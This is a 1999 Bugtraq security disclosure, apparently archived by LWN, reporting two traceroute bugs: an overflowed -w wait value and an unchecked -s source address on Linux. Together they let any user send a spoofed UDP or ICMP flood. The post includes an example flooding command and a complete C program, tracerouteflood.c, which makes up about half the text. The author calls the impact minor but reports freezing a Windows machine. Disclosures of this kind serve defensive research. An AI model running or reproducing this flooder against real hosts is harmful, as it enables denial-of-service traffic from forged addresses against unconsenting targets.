[LWN Logo]

Date:	Sat, 13 Feb 1999 01:38:11 +0100
From:	Alfonso De Gregorio <dira@SPEEDCOM.IT>
Subject:      traceroute as a flooder
To:	BUGTRAQ@NETSPACE.ORG

two traceroute's bugs allow any user (since it's often suided) to use
traceroute as a little udp, or (only for versions from 1.4) also icmp,
flooder.

BTW, i've tested these bugs only on x86 boxes with the most diffused
GNU/Linux distro: Debian, Slackware, RedHat (all of them with 2.0.34 kernel),
and on an alpha with Digital Unix V4.0

-first bug-
waittime value
affected systems: x86 linux and alpha digital unix
traceroute dosen't handle too higher argument's value of -w option.
the limit value dosen't seem to remain costant, but it's never greater
than (1<<31)-1 or on the other hand ((1<<(sizeof(int)*8)-1)-1) on
systems already tested where the size of an int is 4.
AFAIK, the problem is the way is setted the waittime value
(waittime = str2val(optarg, "wait time",2,-1);), used in wait_for_reply
to wait for a response of a probe.
so .. passing an high value to the -w option traceroute will no wait for
packets coming back.


-second bug-
-s (the source address of outgoing probe packets)
affected system: x86 linux (maybe others)
Usally traceroute check if the source address of the outgoing probe packets
matches one of the machine's interface addresses; in case of mismatch,
an error is returned and nothing is send
on x86 linux traceroute fail this check.
in this way anyone can send packets that appear come from a fake address
(spoofed) and will not receive response packets (TIME_EXCEEDED or
PORT_UNREACHABLE and unexpected packets, too)


considerate the maximum number of packets that traceroute can send,
the number of packets for second received by the target host, the minimal
ICMP packet used by traceroute (IIRC just few bytes for the rtt computation),
an udp/icmp flood made using traceroute should be abosultely powerless and
no one can make a real DoS againt a victim;
however just setting the number of queries (-q), the packetsize, and if we
want it also  the time-to-live of the first outgoing packet i've frozen
a bit a windows box until packets finished.

(as a matter of fact since we are not using traceroute to track the
route is followed by a packet but we are just trying to flood,
if we know the topology of the net between us and the target (eg we are using
a link state protocol or we have already checked the number of hops)
we can set the time-to-live of the first outgoing packet to the distance.)

all in all seemingly the bugs addressed in this mail don't appear to be
a big security issue but just a tcp/ip weakness,
anyway it's better to be informed :-) IMHO

BTW, if you wan't use sth like `traceroute -w $(((1<<31)-1)) -q 8 -f n
-s xxx.xxx.xxx.xxx target 1460' or if you wan't try to guess the limit
of the waittime value, there are few lines of code, below, (tracerouteflood.c)
that show as can be used these tcp/ip weakness;
just an example, nothing more


ciao
fhex


"Software is like sex; it's better when it's free"  - Linus Torvalds -

--cut here--
/*

   tracerouteflood.c by (fhex) Alfonso De Gregorio <fhex@speedcom.it>
   a special thanks to: my sister :)
			Davide (buzzz) Bozzelli a great friend that let
                        me use his alpha
                        Salvatore (antirez) Sanfilippo and Lorenzo (gigi_sull)
                        Cavallaro two  friend always
			available to pay attantion to my nonsenses
			and take me great advices


   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; version 2 of the License.

   -------------------------------------------------------------------------

   WARNING: this program is only for dimostrative use. USE IT AT YOUR
            OWN RISK! The autors decline responsability caused by
            bad or malicious use.

   to compile: gcc -O2 tracerouteflood.c -o tracerouteflood
   (should copile succesfully on Debian, Slackware, RedHat, DigitalUnix etc.)


						alfonso de gregorio
   -------------------------------------------------------------------------
	
*/

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<string.h>



#define TRACEROUTE "/usr/sbin/traceroute"      /* traceroute's pathname  */
#define MAX_LENGHT 	12                    /* buffer dimension   */



int
usage(char *argo)
{
  printf("usage: %s: %s [-I] [-f first_ttl] [-q nqueries] [-s source_ip] hostname [packetlen]\n", argo,argo);
  printf("\t -I\t\tflood using ICMP ECHO instead of UDP datagrams.\n");
  printf("\t -f firt_ttl\tthe initial time-to-live used in the first outgoing packet\n");
  printf("\t -q nqueries\tqueries number\n");
  printf("\t -s source_ip\tthis ip is the address of the outgoing packets\n");
  printf("\n\t(-I and -f switches works only with traceroute 1.4 or higher)\n");
  printf("\t[source_ip] can be arbitrary only on linux\n");
  printf("\n\tFor example:./tracerouteflood -I -f 2 -q 8 -s xxx.xxx.xxx.xxx dest.somewhere.com 1460\n");

return 1;
}



int
main(int argc, char **argv )
{
	char 		badwait[MAX_LENGHT];
  	pid_t		pid_traceroute;
	register int 	op;
	int 		i,j;

	char *cmdline[10]={};

	if (argc < 2 || argc > 10 ) exit(usage(argv[0]));


#ifdef __alpha__
/* an integer overflow */
/* please, if ((1<<(sizeof(int)*8)-1)-1) isn't enought on your system repleace it  with just a big number (don't forget to mail me :)*/

	sprintf(badwait,"%ld",((1<<(sizeof(int)*8)-1)-1)  );
#else
	snprintf(badwait,MAX_LENGHT,"%ld",((1<<(sizeof(int)*8)-1)-1)  );
#endif



	opterr=0;
	while ((op = getopt(argc, argv, "If:q:s:")) != EOF)
		switch (op) {
		
		case  'I':
			cmdline[1]=argv[optind-1];
			break;
		case  'f':
			cmdline[2]=argv[optind-2];
			cmdline[3]=argv[optind-1];
			break;
		case  'q':
			cmdline[4]=argv[optind-2];
			cmdline[5]=argv[optind-1];
			break;
		case  's':

/* if you have noticed -s bug also on other systems then linux let free to add here the symbol for the preprocessor (and don't forget to mail me:) */

			#ifdef __linux__
				cmdline[6]=argv[optind-2];
				cmdline[7]=argv[optind-1];
			#else
				printf("since now this bug appeare to be present only on linux\n");
				exit(1);
			#endif
			break;
		default:
			exit(usage(argv[0]));
			break;
		}



        switch (argc - optind) {

        case 1:
		cmdline[8]=argv[optind];
		break;
	case 2:
		cmdline[8]=argv[optind];
		cmdline[9]=argv[optind+1];
		break;
	default:
		exit(usage(argv[0]));
	}




	for (i=1;i<9;i++){
		if (cmdline[i] == NULL && cmdline[i+1] != NULL) {
			for(j=i;j<9;j++){
				cmdline[j]=cmdline[j+1];
				cmdline[j+1]=(char *) NULL;
			}
		i=0;
		}
	}			


	pid_traceroute = fork();
	if ( pid_traceroute == 0) {
		execl(TRACEROUTE,"traceroute","-w",badwait,cmdline[1],cmdline[2],cmdline[3],cmdline[4],cmdline[5],cmdline[6],cmdline[7],cmdline[8],cmdline[9],NULL);
		perror("exec: maybe traceroute is not in pre-arranged directory");
		exit(1);
	}


        if ( waitpid(pid_traceroute, NULL, 0) < 0) {
                printf("wait error\n");
                exit(1);
                }

	
	printf("done\n");
	exit(0);
}

--stop cutting--